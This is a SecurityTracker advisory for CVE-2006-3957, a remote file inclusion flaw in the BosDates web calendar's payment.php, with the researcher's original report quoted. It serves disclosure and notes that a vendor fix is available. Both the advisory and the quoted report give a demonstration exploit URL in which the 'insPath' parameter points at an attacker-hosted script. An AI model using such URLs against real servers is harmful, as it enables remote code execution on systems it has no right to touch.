BosDates Include File Error in 'payment.php' Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016585 |
|
SecurityTracker URL: http://securitytracker.com/id/1016585
|
|
CVE Reference:
CVE-2006-3957
(Links to External Site)
|
Updated: Jun 13 2008
|
Original Entry Date: Jul 26 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
|
Description:
MazaGi reported a vulnerability in BosDates. A remote user can include and execute arbitrary code on the target system.
The 'payment.php' script does not properly validate user-supplied input in the 'insPath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/calendar/payment.php?insPath=[evil_script]
The original report is available at:
http://www.jaascois.com/exploits/18602020/
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
The vendor has issued a fix (issued on July 24, 2006).
|
Vendor URL: www.bosdev.com/bosdates/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 25 Jul 2006 13:55:48 -0500 (CDT)
Subject: BosDates web calendar ( payment.php ) Remote File Include
|
BosDates web calendar ( payment.php ) Remote File Include Vulnerabilities
/////////////////////////////////////////////////////////
//
// by: MazaGi [ e55@hotmail.com ]
// ref: http://www.jaascois.com/exploits/18602020/
//
//
// BosDates web calendar ( payment.php ) Remote File Include Vulnerabilities
// Home: http://www.bosdev.com/bosdates
// Exploit:
// http://www.site.com/calendar/payment.php?insPath=[evil_script]
//
/////////////////////////////////////////////////////////
|
|
